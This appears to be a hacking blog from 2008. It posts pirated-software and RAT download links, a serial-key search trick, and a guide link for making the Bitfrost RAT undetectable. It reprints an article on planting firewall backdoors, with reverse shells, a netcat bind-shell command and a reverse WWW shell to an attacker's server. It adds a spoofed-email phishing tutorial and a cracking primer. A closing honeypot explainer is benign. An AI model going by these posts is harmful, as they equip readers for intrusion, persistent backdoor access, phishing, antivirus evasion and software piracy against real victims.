Spyware Doctor is a multi-award winning spyware removal utility that detects, removes and protects your PC from thousands of potential spyware, adware, trojans, keyloggers, spybots and tracking threats.

Editor's Choice Anti-Spyware

Don't compromise your security with second best!
? Recommended by experts and editors around the world as the best Anti-Spyware.
? FREE award-winning customer support for all users.
? Frequent advanced updates ensure that you are always protected.
? Detects, removes and blocks all types of Spyware and Adware threats.
? Easiest to use with intelligent automatic protection.
? 100% Money Back Guarantee.

Best Spyware Protection. Used by Millions World Wide!

CODE:
http://rapidshare.com/files/52630871/Spyware_Doctor_4.0.0.2618_Portable_by_mansur.rar

Atlantis :

Portable Word Is Alternative For MS Office Word.. So Small But Have Complete Features Of MS Word..

Atlantis Word Processor

Atlantis is an innovative,
no-nonsense word processor carefully designed with the end-user in mind. Compact, fast-loading, but still powerful and efficient, Atlantis will be the perfect companion for a wide range of your word processing tasks, ? from simple to most complex.

It does not matter if you are a novice or a power user, Atlantis has the tools you will ever need to compose highly professional documents. Using a most original and practical Control Board, you will create and manage all components of complex documents with unparalleled ease: sections, fields, headers & footers, newspaper columns, bulleted & numbered lists, styles, bookmarks, footnotes & endnotes, etc, all are a breeze with Atlantis.

Both the Safeguard and Backup Files features make sure that you work under extremely safe conditions. Private documents can also be encoded and secured: you can save them to a proprietary COD file format using powerful 256-bit encryption technology.

The Atlantis AutoCorrect and Spellcheck-As-You-Type features combine with a unique typing assist, the Atlantis Power Type, to dramatically simplify your word processing life.

The Atlantis interface is entirely customizable: menus, toolbars, hot keys, colors and sounds can all be adjusted to suit your own requirements. What's more, Atlantis is a fully portable word processor. You can install Atlantis to a memory flash drive, and Atlantis will travel with you wherever you go.

And much-much more for you to discover...

CODE:
http://rapidshare.com/files/52629668/Atlantis_by_mansur_.rar

Posted in Security Tools, Tools by Dark Shade | 0 comments

Please Write Your suggestions to improve the blog here

Friday, January 18, 2008

Please Write Your suggestions Here

by Dark Shade | 0 comments

How To Find Serial Numbers On Google

Thursday, January 17, 2008

ok, this is a little trick that i usually use to find cd keys with google.

if your looking for a serial number for nero (for example) goto google.com and type nero 94FBR and it'll bring it up

this works great in google

HOW DOES THIS WORK?

Quite simple really. 94FBR is part of a Office 2000 Pro cd key that is widely distributed as it bypasses the activation requirements of Office 2K Pro. By searching for the product name and 94fbr, you guarantee two things.

1)The pages that are returned are pages dealing specifically with the product you're wantinga serial for.

2)Because 94FBR is part of a serial number, and only part of a serial number, you guarantee that any page being returned is a serial number list page.

I hope this trick help you finding your ccd keys easily

Enjoy

Posted in Tools, Tutorials, Tweaks by Dark Shade | 0 comments

Poison Ivy RAT

Wednesday, January 16, 2008

Poison Ivy 2.3.1 released!

DL:
http://www.poisonivy-rat.com/index.php?link=download

Posted in Backdoors tutorials and tools, Tools, Tools For Hacking by Dark Shade | 0 comments

16 tools to stay anonymous

01 #1 Anonymous Proxy List Verifier 1.1
02 Anonimity 4 Proxy2.8
03 Charon 0.6
04 Get Anonymous 2.1
05 GhostSurf Platinum 2007
06 Hide ip Platinum 3.42
07 Hide The Ip 2.1.1
08 Invisible Browsing 5
09 IP Switcher Professional 1.01.12.0
10 MultiProxy v1.2
11 NetConceal Anonymity Shield 5.2.059.02
12 Proxy Switcher Standard 3.7.2.3913
13 Proxygrab 0.6
14 proxyway extra v3.2
15 SmartProxyHelper 1.5
16 Steganos Internet Anonym 2006 v8.0.1

Download Links :-

http://rapidshare.com/files/48541745/Aio-Ip-Anonymous-Surfing-Tools.exe.001
http://rapidshare.com/files/48541751/Aio-Ip-Anonymous-Surfing-Tools.exe.002

Posted in Security Tools, Tools by Dark Shade | 0 comments

23 hidden app in xp

To run any of these apps go to Start > Run and type the executable name:

1) Character Map = charmap.exe (very useful for finding unusual characters)

2) Disk Cleanup = cleanmgr.exe

3) Clipboard Viewer = clipbrd.exe (views contents of Windows clipboard)

4) Dr Watson = drwtsn32.exe (Troubleshooting tool)

5) DirectX diagnosis = dxdiag.exe (Diagnose & test DirectX, video & sound cards)

6) Private character editor = eudcedit.exe (allows creation or modification of characters)

7) IExpress Wizard = iexpress.exe (Create self-extracting / self-installing package)

8 Mcft Synchronization Manager = mobsync.exe (appears to allow synchronization of files on the network for when working offline. Apparently undocumented).

9) Windows Media Player 5.1 = mplay32.exe (Retro version of Media Player, very basic).

10) ODBC Data Source Administrator = odbcad32.exe (something to do with databases)

11) Object Packager = packager.exe (to do with packaging objects for insertion in files, appears to have comprehensive help files).

12) System Monitor = perfmon.exe (very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance, for uber-geeks only )

13) Program Manager = progman.exe (Legacy Windows 3.x desktop shell).

14) Remote Access phone book = rasphone.exe (documentation is virtually non-existant).

15) Registry Editor = regedt32.exe [also regedit.exe] (for hacking the Windows Registry).

16) Network shared folder wizard = shrpubw.exe (creates shared folders on network).

17) File siganture verification tool = sigverif.exe

18 Volume Contro = sndvol32.exe (I've included this for those people that lose it from the System Notification area).

19) System Configuration Editor = sysedit.exe (modify System.ini & Win.ini just like in Win98! ).

20) Syskey = syskey.exe (Secures XP Account database - use with care, it's virtually undocumented but it appears to encrypt all passwords, I'm not sure of the full implications).

21) Mcft Telnet Client = telnet.exe

22) Driver Verifier Manager = verifier.exe (seems to be a utility for monitoring the actions of drivers, might be useful for people having driver problems. Undocumented).

23) Windows for Workgroups Chat = winchat.exe (appears to be an old NT utility to allow chat sessions over a LAN, help files available).

Note:- Some of them might not run in Windows XP Home edition

Posted in xp Hackz by Dark Shade | 0 comments

Placing bacdoors thru firewalls

----[ Introduction

This article describes possible backdoors through different firewall architectures. However, the material can also be applied to other environments to describe how hackers (you?) cover their access to a system.

Hackers often want to retain access to systems they have penetrated even in the face of obstacles such as new firewalls and patched vulnerabilities. To accomplish this the attackers must install a backdoor which a) does it's job and b) is not easily detectable. The kind of backdoor needed depends on the firewall architecture used.

As a gimmick and proof-of-concept, a nice backdoor for any kind of intrusion is included, so have fun.

----[ Firewall Architectures

There are two basic firewall architectures and each has an enhanced version.

Packet Filters:

This is a host or router which checks each packet against an allow/deny ruletable before routing it through the correct interface. There are very simple ones which can only filter from the origin host, destination host and destination port, as well as good ones which can also decide based on incoming interface, source port, day/time and some tcp or ip flags.
This could be a simple router, f.e. any Cisco, or a Linux machine with firewalling activated (ipfwadm).

Stateful Filters:

This is the enhanced version of a packet filter. It still does the same checking against a rule table and only routes if permitted, but it also keeps track of the state information such as TCP sequence numbers. Some pay attention to application protocols which allows tricks such as only opening ports to the interiour network for ftp-data channels which were specified in a permitted ftp session. These filters can (more or less) get UDP packets (f.e. for DNS and RPC) securely through the firewall. (Thats because UDP is a stateless protocol. And it's more difficult for RPC services.)
This could be a great OpenBSD machine with the ip-filter software, a Cisco Pix, Watchguard, or the (in)famous Checkpoint FW-1.

Proxies / Circuit Level Gateways:

A proxy as a firewall host is simply any server which has no routing activated and instead has proxy software installe.
Examples of proxy servers which may be used are squid for WWW, a sendmail relay configuration and/or just a sockd.

Application Gateways:

This is the enhanced version of a proxy. Like a proxy, for every application which should get through the firewall a software must be installed and running to proxy it. However, the application gateway is smart and checks every request and answer, f.e. that an outgoing ftp only may download data but not upload any, and that the data has got no virus, no buffer overflows are generated in answers etc. One can argue that squid is an application gateway, because it does many sanity checks and let you filter stuff but it was not programmed for the installation in a secure environment and still has/had security bugs.
A good example for a freeware kit for this kind is the TIS firewall toolkit (fwtk).

Most firewalls that vendors sell on the market are hybrid firwalls, which means they've got more than just one type implemented; for example the IBM Firewall is a simple packet filter with socks and a few proxies. I won't discuss which firewall product is the best, because this is not a how-to-by-a-firewall paper, but I will say this: application gateways are by far the most secure firewalls, although money, speed, special protocols, open network policies, stupidity, marketing hype and bad management might rule them out.

----[ Getting in

Before we talk about what backdoors are the best for which firewall architecture we should shed a light on how to get through a firewall the first time. Note that getting through a firewall is not a plug-n-play thing for script-kiddies, this has to be carefully planned and done.

The four main possibilities:

Insider:

There's someone inside the company (you, girl/boy-friend, chummer) who installs the backdoor. This is the easiest way of course.

Vulnerable Services:

Nearly all networks offer some kind of services, such as incoming email, WWW, or DNS. These may be on the firewall host itself, a host in the DMZ (here: the zone in front of the firewall, often not protected by a firewall) or on an internal machine. If an attacker can find a hole in one of those services, he's got good chances to get in. You'd laugh if you'd see how many "firewalls" run sendmail for mail relaying ...

Vulnerable External Server:

People behind a firewall sometimes work on external machines. If an attacker can hack these, he can cause serious mischief such as the many X attacks if the victim uses it via an X-relay or sshd. The attacker could also send fake ftp answers to overflow a buffer in the ftp client software, replace a gif picture on a web server with one which crashs netscape and executes a command (I never checked if this actually works, it crashs, yeah, but I didn't look through this if this is really an exploitable overflow). There are many possibilities with this but it needs some knowledge about the company. However, an external web server of the company is usually a good start. Some firewalls are configured to allow incoming telnet from some machines, so anyone can sniff these and get it. This is particulary true for the US, where academic environments and industry/military work close together.

Hijacking Connections:

Many companies think that if they allow incoming telnet with some kind of secure authentication like SecureID (secure algo?, he) they are safe. Anyone can hijack these after the authentication and get in ... Another way of using hijacked connections is to modify replies in the protocol implementation to generate a buffer overflow (f.e. with X).

Trojans:

Many things can be done with a trojan horse. This could be a gzip file which generates a buffer overflow (well, needs an old gzip to be installed), a tar file which tampers f.e. ~/.logout to execute something, or an executable or source code which was modified to get the hacker in somehow. To get someone running this, mail spoofing could be used or replacing originals on an external server which internal employees access to update their software regulary (ftp xfer files and www logs can be checked to get to know which files these are).

----[ Placing the Backdoors

An intelligent hacker will not try to put the backdoors on machines in the firewall segment, because these machines are usually monitored and checked regulary. It's the internal machines which are usually unprotected and without much administration and security checks.

I will now talk about some ideas of backdoors which could be implemented. Note that programs which will/would run on an stateful filter will of course work with a normal packet filter too, same for the proxy. Ideas for an application gateway backdoor will work for any architecture.
Some of them are "active" and others "passive". "Active" backdoors are those which can be used by a hacker anytime he wishes, a "passive" one triggers itself by time/event so an attacker has to wait for this to happen.

Packet Filters:

It's hard to find a backdoor which gets through this one but does not work for any other. The few ones which comes into my mind
is a) the ack-telnet. It works like a normal telnet/telnetd except it does not work with the normal tcp handshake/protocol but uses TCP ACK packets only. Because they look like they belong to an already established (and allowed) connection, they are permitted. This can be easily coded with the spoofit.h of Coder's Spoofit project (http://reptile.rug.ac.be/~coder).
b) Loki from Phrack 49/51 could be used too to establish a tunnel with icmp echo/reply packets. But some coding would be needed to to be done.
c) daemonshell-udp is a backdoor shell via UDP
(http://www.thc.org look for thc-uht1.tgz)
d) Last but not least, most "firewall systems" with only a screening router/firewall let any incoming tcp connection from the source port 20 to a highport (>1023) through to allow the (non-passive) ftp protocol to work. "netcat -p 20 target port-of-bindshell" is the fastest solution for this one.

Stateful Filters:

Here a hacker must use programs which initiates the connection from the secure network to his external 0wned server. There are many out there which could be used:
active:
tunnel from Phrack 52.
ssh with the -R option (much better than tunnel ... it's a legtimitate program on a computer and it encrypts the datastream). passive:
netcat compiled with the execute option and run with a time option to connect to the hacker machine (ftp.avian.org).
reverse_shell from the thc-uht1.tgz package (see above) does the same.

Proxies / Circuit Level Gateways:
If socks is used on the firewall, someone can use all those stuff for the stateful filter and "socksify" them. (www.socks.nec.com) For more advanced tools you'd should take a look at the application gateway section.

Application Gateways:
Now we get down to the interesting stuff. These beasts can be intelligent so some brain is needed.
active:
(re-)placing a cgi-script on the webserver of the company, which allows remote access. This is unlikely because it's rare that the webserver is in the network, not monitored/ checked/audited and accessible from the internet. I hope nobody needs an example on such a thing Wink
(re-placing) a service/binary on the firewall. This is dangerous because those are audited regulary and sometimes even sniffed on permanent ...
Loading a loadable module into the firewall kernel wich hides itself and gives access to it's master. The best solution for an active backdoor but still dangerous. passive:
E@mail - an email account/mailer/reader is configured in a way to extract hidden commands in an email (X-Headers with weird stuff) and send them back with output if wanted/needed.
WWW - this is hard stuff. A daemon on an internal machine does http requests to the internet, but the requests are in real the answers of commands which were issued by a rogue www server in a http reply. This nice and easy beast is presented below (->Backdoor Example: The Reverse WWW Shell)
DNS - same concept as above but with dns queries and replies. Disadvantage is that it can not carry much data. (http://www.icon.co.za/~wosp/wosp.dns-tunnel.tar.gz, this example needs still much coding to be any effective)

----[ Backdoor Example: The Reverse WWW Shell

This backdoor should work through any firewall which has got the security policy to allow users to surf the WWW (World Wide Waste) for information for the sake and profit of the company.
For a better understanding take a look at the following picture and try to remember it onwards in the text:

+--------+ +------------+ +-------------+
|internal|--------------------| FIREWALL |--------------|server owned |
| host | internal network +------------+ internet |by the hacker|
+--------+ +-------------+
SLAVE MASTER

Well, a program is run on the internal host, which spawns a child every day at a special time. For the firewall, this child acts like a user, using his netscape client to surf on the internet. In reality, this child executes a local shell and connects to the www server owned by the hacker on the internet via a legitimate looking http request and sends it ready signal. The legitimate looking answer of the www server owned by the hacker are in reality the commands the child will execute on it's machine it the local shell. All traffic will be converted (I'll not call this "encrypted", I'm not Micro$oft) in a Base64 like structure and given as a value for a cgi-string to prevent caching.

Example of a connection:

Slave
GET /cgi-bin/order?M5mAejTgZdgYOdgIO0BqFfVYTgjFLdgxEdb1He7krj HTTP/1.0

Master replies with
g5mAlfbknz

The GET of the internal host (SLAVE) is just the command prompt of the shell, the answer is an encoded "ls" command from the hacker on the external server (MASTER). Some gimmicks:

The SLAVE tries to connect daily at a specified time to the MASTER if wanted; the child is spawned because if the shell hangs for whatever reason you can check & fix the next day; if an administrator sees connects to the hacker's server and connects to it himself he will just see a broken webserver because there's a Token (Password) in the encoded cgi GET request; WWW Proxies (f.e. squid) are supported; program masks it's name in the process listing ...

Best of all: master & slave program are just one 260-lines perl file ... Usage is simple: edit rwwwshell.pl for the correct values, execute "rwwwshell.pl slave" on the SLAVE, and just run "rwwwshell.pl" on the MASTER just before it's time that the slave tries to connect.

Well, why coding it in perl? a) it was very fast to code, b) it's highly portable and c) I like it. If you want to use it on a system which hasn't got perl installed, search for a similar machine with perl install, get the a3 compiler from the perl CPAN archives and compile it to a binary. Transfer this to your target machine and run that one.

The code for this nice and easy tool is appended in the section THE CODE after my last words. If you've got updates/ideas/critics for it drop me an email. If you think this text or program is lame, write me at root@localhost. Check out http://www.thc.org for updates.

----[ The Source

Grab it here ...

rwwwshell v2.0

----[ Security

Now it's an interesting question how to secure a firewall to deny/detect this. It should be clear that you need a tight application gateway firewall with a strict policy. email should be put on a centralized mail server, and DNS resolving only done on the WWW/FTP proxies and access to WWW only prior proxy authentication. However, this is not enough. An attacker can tamper the mailreader to execute the commands extracted from the crypted X-Headers or implement the http authentication into the reverse www-shell (it's simple). Also checking the DNS and WWW logs/caches regulary with good tools can be defeated by switching the external servers every 3-20 calls or use aliases.

A secure solution would be to set up a second network which is connected to the internet, and the real one kept seperated - but tell this the employees ... A good firewall is a big improvement, and also an Intrusion Detection Systems can help. But nothing can stop a dedicated attacker.

Posted in Backdoors tutorials and tools, Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Video tutorials on hacking

This video tutorial give you a brief information about
Scanning
checking for the lives systems
banner grabbing
scenario

tools
angry ip
nmap
netscan tool pro
banner grabbing method
netcraft-os detion tools
sockschain

enumeration
what is enumeration
snmp enumeration

eaxmple-connect using null session
tools-dumpsec
system identification number
get acct tool
solar winds

tools-userinfo
tool-userip

buffer overflow
reasons for attack
nops
defence against buffer over flow attack
buffer overflow
cryptography
piks
rsa attack and algorithms
code breaking methodologies
penetration testing
vulnerability assessement
terms of engagement
filtering devices
impact of threat
phases of penetration testing

http://rapidshare.com/files/50056939/Buffer_Overflow.part2.rar
http://rapidshare.com/files/50467225/Buffer_Overflow.part1.rar
http://rapidshare.com/files/51507987/Scanning.part2.rar
http://rapidshare.com/files/52580269/Scanning.part1.rar

Posted in Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Send Fake mails via Telnet

What is Telnet ?

you do not need to worry about it right now if know read another of my tutorial . for now just remember telnet is a protocol for connecting two computers on internet

Why do we want to send anyone fake email ?
Well most commonly to play pranks on friends
you can use them for phishing attacks or social engineering
whatever your purpose maybe remember unless you find a totally anonymous server your ip is logged so if the person complaints you can be caught

that is why i recommend you to use shell accounts or proxies

Enough of this shit, i wanna type something !!!

So here we go
In this tutorial i am gonna use yahoo's smtp server
Step 1: launch command prompt or bash shell

Step 2: Connect to yahoo's smtp server
type telnet mx1.mail.yahoo.com 25
you'll response as in the image

Step 3: Type helo

Step 4: Type mail from:

Step 5: Type rcpt to:

Step 6: type data

Step 7 : enter Data type as follows

subject : whatever you want
from : whatever you want
to: whatever you want
date: none

your emails body

.

Do not forget to press enter after every line also to end your msg type " . "(dot) and press enter

Step 7: type quit to close your connection

If you want to send email to person with a hotmail or gmail or anyother account then you'll have to telnet to smtp server of that email site

thats all regarding sending fake email
Suggestions and Feedbacks are appreciated
Bye :-

Avada Kedavra

Posted in Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Make Bitfrost RAT undetectable

This tutorial will help u make Bitfrost RAT undetectable by AV

http://rapidshare.com/files/9060332/Bitfrost-Ud.pdf.html

Posted in Backdoors tutorials and tools, Hacking Tutorials, Tutorials by Dark Shade | 0 comments

Basic Cracking

=============
[BEGIN LESSON]
=============
To begin to start learning reverse engineering u MUST know some ASM
aka the computers machine code.

ok lets learn this stuff then

heres some ASM just to let u know what it looks like

Code:

00xx:00xxxx Call 00403214
00xx:00xxxx Test Eax,Eax
00xx:00xxxx Jne 00043242
00xx:00xxxx Ret
00xx:00xxxx Cmp Ebx,Esi

so what does that mean?

i'm just going to start off by explaining each important ASM instruction
and how the CPU works.

Inside the CPU is a Register control, this has lots of pre-defined variables inside, here are some of the ones u will most likey see.

Code:
AX/EAX - Acummulator Register used for storing numbers and the output of sums
BX/EBX - Base Register - Usually for storing numbers for calculations
CX/ECX - Counter Register - used in loops , incremented or decremented
IP/EIP - Intruction Pointer - Stores the address(line number) of the next command

Now thats a very brief description of the instructions.

=========
COMMANDS
=========

{********************** MOV ******************************}
Code:
MOV dest,sour - This is the most common instruction it simply moves data from one register to another.

e.g
Code:

MOV AX,56 - (Move 56 into AX)
MOV BX,AX - (Move AX into BX, so BX contains 56 because we had 56 in AX)

{********************** ADD ******************************}
Code:
ADD op1,op2 - Adds two registers together and puts the result in op1.

e.g
Code:

MOV BX,23
MOV AX,10
ADD BX,AX

Adds 10 to 23
so the answer 33 is left in BX

{********************** SUB ******************************}
Code:
SUB - Subtract

Code:
MOV BX,23
MOV AX,10
ADD BX,AX
MOV CX,10
SUB BX,CX

See if you can follow that

so BX=33 at the moment then we take CX away from it (which is 10) which leaves the result in BX, so BX would now equal 23.

(*********** Important ASM commands for Cracking *************}

ok we must learn this stuff first.
Code:

CALL 200

- This calls another set of instructions at 200 then returns back to the next line after it was called

e.g

Code:
100: MOV AX,10
102: MOV BX,20
104: CALL 200 ----------->---------------------|
106: MOV DX,20 <-| \./
108: MOV CX,DX | 200: SUB AX,CX
| 202: MOV CX,02
-------------- < 204: RET
206: blah
208: blah

There don't bother trying to follow the code as i just made it up just take note to the cycle, when it meets the CALL command it jumps to line number provided (200 in this case) and excutes the code there until it see's the RET command goes back to the next line in the main program (RET=Return).

======
JUMPS
======

In asm there is lots of different conditions for the jump command, they mostly depend on "flags" flags are boolean variables in the CPU, for those
of you that don't know what a boolean is.

It is a variable which has to states 'on or off' in this case '0 or 1'.

Most programs have a Serial check routine that is stored in a call after this call AX is set to 0 or 1 this then has a logical AND performed on it aka TEST AX,AX this sets the ZERO flag to on or off, so its either Z or NZ zero or not zero then a jump with a conditional connected to the zero flag is done, that probably not explained very well but i'l explain it better later when we get to cracking, for now heres some of our important jump commands

Code:
JMP xxxx - Jumps to x no matter what
JNZ xxxx - Jump if the Zero flag is not set
JZ xxxx - Jump if the zero flag is set
JNE xxxx - Jump if not equal
JE xxxx - jump if equal
JG xxxx - jump if greater
JL xxxx - jump if less than
JA xxxx - jump if above
JB xxxx - jump if below
JGE xxxx - jump if greater than or equal to
JBE xxxx - jump if Below than or equal to

so many, but thats not all, just try and remember those, its quiet logical really.

======
Stack
======

k nearly done Smiley

The stack is an area of memory which is used to put data from registers into the stack for later storage. When placing a register's contents into the stack, its called "Pushing" when taking a value out of the register its called "Poping".

The stack works on LIFO - Last In first Out.
e.g

Code:
MOV AX,1
MOV BX,2
PUSH AX
PUSH BX
POP AX
POP BX

So whats the value of AX,BX now? well lets go through it

Code:
Ax=1
Bx=2

push AX - look at stack table 1

Code:
1)Stack
1

push Bx look at stack table 2

Code:
2)stack
2
1

pop ax - takes the first value out of the stack and puts into ax
which is 2

pop bx - puts 1 into bx because 2 has been taken from the stack so now
1 is on top

So from that you can see that the stack puts every thing on top.

{************ Last Word On ASM ***************}

Just 1 more thing to cover.

This is brackets when u see brackets around some think it is refering to that address.

Code:
Mov AX,2
MOV [300],AX - This moves AX to memory area 300

or

Code:
MOV [0032543],500
CALL [0032543] - this calls the procedure at line 500

you should get that by now i hope Wink

{**********************************************************************************}
k that was ASM you should now have a rough idea of how it works

==========
[END LESSON]
==========

Leave comments if you benefited from the lesson.

And if u want to know more abt cracking
like
how it is done
what is the procedure for that
and for some examples
download this .txt file
http://www.4shared.com/file/25161321/fa300782/Howtocrk.html
it will help u more

Posted in Hacking Tutorials, Tutorials by Dark Shade | 0 comments

What are honey pots

Honeypots are an exciting new technology with enormous potential for the security community. The concepts were first introduced by several icons in computer security, specifically Cliff Stoll in the book The Cuckoo's Egg", and Bill Cheswick's paper " An Evening with Berferd." Since then, honeypots have continued to evolve, developing into the powerful security tools they are today. The purpose of this paper is to explain exactly what honeypots are, their advantages and disadvatages, and their value to the security.

Definitions
The first step to understanding honeypots is defining what a honeypot is. This can be harder then it sounds. Unlike firewalls or Intrusion Detection Systems, honeypots do not solve a specific problem. Instead, they are a highly flexible tool that comes in many shapes and sizes. They can do everything from detecting encrypted attacks in IPv6 networks to capturing the latest in on-line credit card fraud. Its is this flexibility that gives honeypots their true power. It is also this flexibility that can make them challenging to define and understand. As such, I use the following definition to define what a honeypot is.

A honeypot is an information system resource whose value lies in unauthorized or illicit use of that resource.

This is a general defintion covering all the different manifistations of honeypots. We will be discussing in this paper different examples of honeypots and their value to security. All will fall under the definition we use above, their value lies in the bad guys interacting with them. Conceptually almost all honeypots work they same. They are a resource that has no authorized activity, they do not have any production value. Theoreticlly, a honeypot should see no traffic because it has no legitimate activity. This means any interaction with a honeypot is most likely unauthorized or malicious activity. Any connection attempts to a honeypot are most likely a probe, attack, or compromise. While this concept sounds very simple (and it is), it is this very simplicity that give honeypots their tremendous advantages (and disadvantages). I highlight these below.

Advantages: Honeypots are a tremendously simply concept, which gives them some very powerful strengths.

* Small data sets of high value: Honeypots collect small amounts of information. Instead of logging a one GB of data a day, they can log only one MB of data a day. Instead of generating 10,000 alerts a day, they can generate only 10 alerts a day. Remember, honeypots only capture bad activity, any interaction with a honeypot is most likely unauthorized or malicious activity. As such, honeypots reduce 'noise' by collectin only small data sets, but information of high value, as it is only the bad guys. This means its much easier (and cheaper) to analyze the data a honeypot collects and derive value from it.

* New tools and tactics: Honeypots are designed to capture anything thrown at them, including tools or tactics never seen before.

* Minimal resources: Honeypots require minimal resources, they only capture bad activity. This means an old Pentium computer with 128MB of RAM can easily handle an entire class B network sitting off an OC-12 network.

* Encryption or IPv6: Unlike most security technologies (such as IDS systems) honeypots work fine in encrypted or IPv6 environments. It does not matter what the bad guys throw at a honeypot, the honeypot will detect and capture it.

* Information: Honeypots can collect in-depth information that few, if any other technologies can match.

* Simplicty: Finally, honeypots are conceptually very simple. There are no fancy algorithms to develop, state tables to maintain, or signatures to update. The simpler a technology, the less likely there will be mistakes or misconfigurations.

Disadvantages: Like any technology, honeypots also have their weaknesses. It is because of this they do not replace any current technology, but work with existing technologies.

# Limited view: Honeypots can only track and capture activity that directly interacts with them. Honeypots will not capture attacks against other systems, unless the attacker or threat interacts with the honeypots also.

# Risk: All security technologies have risk. Firewalls have risk of being penetrated, encryption has the risk of being broken, IDS sensors have the risk of failing to detect attacks. Honeypots are no different, they have risk also. Specifically, honeypots have the risk of being taken over by the bad guy and being used to harm other systems. This risk various for different honeypots. Depending on the type of honeypot, it can have no more risk then an IDS sensor, while some honeypots have a great deal of risk. We identify which honeypots have what levels of risk later in the paper.

It is how you leverage these advantages and disadvantages that defines the value of your honeypot (which we discuss later).

Types of Honeypots
Honeypots come in many shapes and sizes, making them difficult to get a grasp of. To help us better understand honeypots and all the different types, we break them down into two general categories, low-interaction and high-interaction honeypots. These categories helps us understand what type of honeypot you are dealing with, its strengths, and weaknesses. Interaction defines the level of activity a honeypot allows an attacker. Low-interaction honeypots have limited interaction, they normally work by emulating services and operating systems. Attacker activity is limited to the level of emulation by the honeypot. For example, an emulated FTP service listening on port 21 may just emulate a FTP login, or it may support a variety of additional FTP commands. The advantages of a low-interaction honeypot is their simplicity. These honeypots tend to be easier to deploy and maintain, with minimal risk. Usually they involve installing software, selecting the operating systems and services you want to emulate and monitor, and letting the honeypot go from there. This plug and play approach makes deploying them very easy for most organizations. Also, the emulated services mitigate risk by containing the attacker's activity, the attacker never has access to an operating system to attack or harm others. The main disadvantages with low interaction honeypots is that they log only limited information and are designed to capture known activity. The emulated services can only do so much. Also, its easier for an attacker to detect a low-interaction honeypot, no matter how good the emulation is, skilled attacker can eventually detect their presence. Examples of low-interaction honeypots include Specter, Honeyd, and KFSensor.

High-interaction honeypots are different, they are usually complex solutions as they involve real operating systems and applications. Nothing is emulated, we give attackers the real thing. If you want a Linux honeypot running an FTP server, you build a real Linux system running a real FTP server. The advantages with such a solution are two fold. First, you can capture extensive amounts of information. By giving attackers real systems to interact with, you can learn the full extent of their behavior, everything from new rootkits to international IRC sessions. The second advantage is high-interaction honeypots make no assumptions on how an attacker will behave. Instead, they provide an open environment that captures all activity. This allows high-interaction solutions to learn behavior we would not expect. An excellent example of this is how a Honeynet captured encoded back door commands on a non-standard IP protocol (specifically IP protocol 11, Network Voice Protocol). However, this also increases the risk of the honeypot as attackers can use these real operating system to attack non-honeypot systems. As result, additional technologies have to be implement that prevent the attacker from harming other non-honeypot systems. In general, high-interaction honeypots can do everything low-interaction honeypots can do and much more. However, they can be more complext to deploy and maintain. Examples of high-interaction honeypots include Symantec Decoy Server and Honeynets. You can find a complete listing of both low and high interaction honeypots at Honeypot Solutions page. To better understand both low and high interaction honeypots lets look at two examples. We will start with the low-interaction honeypot Honeyd.

Honeyd: Low-interaction honeypot
Honeyd is a low-interaction honeypot. Developed by Niels Provos, Honeyd is OpenSource and designed to run primarily on Unix systems (though it has been ported to Windows). Honeyd works on the concept of monitoring unused IP space. Anytime it sees a connection attempt to an unused IP, it intercepts the connection and then interacts with the attacker, pretending to be the victim. By default, Honeyd detects and logs any connection to any UDP or TCP port. In addition, you can configure emulated services to monitor specific ports, such as an emulated FTP server monitoring TCP port 21. When an attacker connects to the emulated service, not only does the honeypot detect and log the activity, but it captures all of the attacker's interaction with the emulated service. In the case of the emulated FTP server, we can potentially capture the attacker's login and password, the commands they issue, and perhaps even learn what they are looking for or their identity. It all depends on the level of emulation by the honeypot. Most emulated services work the same way. They expect a specific type of behavior, and then are programmed to react in a predetermined way. If attack A does this, then react this way. If attack B does this, then respond this way. The limitation is if the attacker does something that the emulation does not expect, then it does not know how to respond. Most low-interaction honeypots, including Honeyd, simply generate an error message. You can see what commands the emulated FTP server for Honeyd supports by review the source code.

Some honeypots, such as Honeyd, can not only emulate services, but emulate actual operating systems. In other words, Honeyd can appear to the attacker to be a Cisco router, WinXP webserver, or Linux DNS server. There are several advantages to emulating different operating systems. First, the honeypot can better blend in with existing networks if the honeypot has the same appearance and behavior of production systems. Second, you can target specific attackers by providing systems and services they often target, or systems and services you want to learn about. There are two elements to emulating operating systems. The first is with the emulated services. When an attacker connects to an emulated service, you can have that service behave like and appear to be a specific OS. For example, if you have a service emulating a webserver, and you want your honeypot to appear to be a Win2000 server, then you would emulate the behavior of a IIS webserver. For Linux, you would emulate the behavior of an Apache webserver. Most honeypots emulate OS' in this manner. Some sophisticated honeypots take this emulation one step farther (as Honeyd does). Not only do they emulate at the service level, but at the IP stack level. If someone uses active fingerprinting measures to determine the OS type of your honeypot most honeypots respond with the IP stack of whatever OS the honeypot is installed on. Honeyd spoof the replies, making not only the emulated services, but emulated IP stacks behave as the operating systems would. The level of emulation and sophistication depends on what honeypot technology you chose to use.

Honeynets: High-interaction honeypot
Honeynets are a prime example of high-interaction honeypot. Honeynets are not a product, they are not a software solution that you install on a computer. Instead, Honeyents are an architecture, an entire network of computers designed to attacked. The idea is to have an architecture that creates a highly controlled network, one where all activity is controlled and captured. Within this network we place our intended victims, real computers running real applications. The bad guys find, attack, and break into these systems on their own initiative. When they do, they do not realize they are within a Honeynet. All of their activity, from encrypted SSH sessions to emails and files uploads, are captured without them knowing it. This is done by inserting kernel modules on the victim systems that capture all of the attacker's actions. At the same time, the Honeynet controls the attacker's activity. Honeynets do this using a Honeywall gateway. This gateway allows inbound traffic to the victim systems, but controls the outbound traffic using intrusion prevention technologies. This gives the attacker the flexibility to interact with the victim systems, but prevents the attacker from harming other non-Honeynet computers. An example of such a deployment can be seen in Figure 1.

Value of Honeypots
Now that we have understanding of two general categories of honepyots, we can focus on their value. Specifically, how we can use honeypots. Once again, we have two general categories, honeypots can be used for production purposes or research. When used for production purposes, honeypots are protecting an organization. This would include preventing, detecting, or helping organizations respond to an attack. When used for research purposes, honeypots are being used to collect information. This information has different value to different organizations. Some may want to be studying trends in attacker activity, while others are interested in early warning and prediction, or law enforcement. In general, low-interaction honeypots are often used for production purposes, while high-interaction honeypots are used for research purposes. However, either type of honeypot can be used for either purpose. When used for production purposes, honeypots can protect organizations in one of three ways; prevention, detection, and response. We will take a more in-depth look at how a honeypot can work in all three.

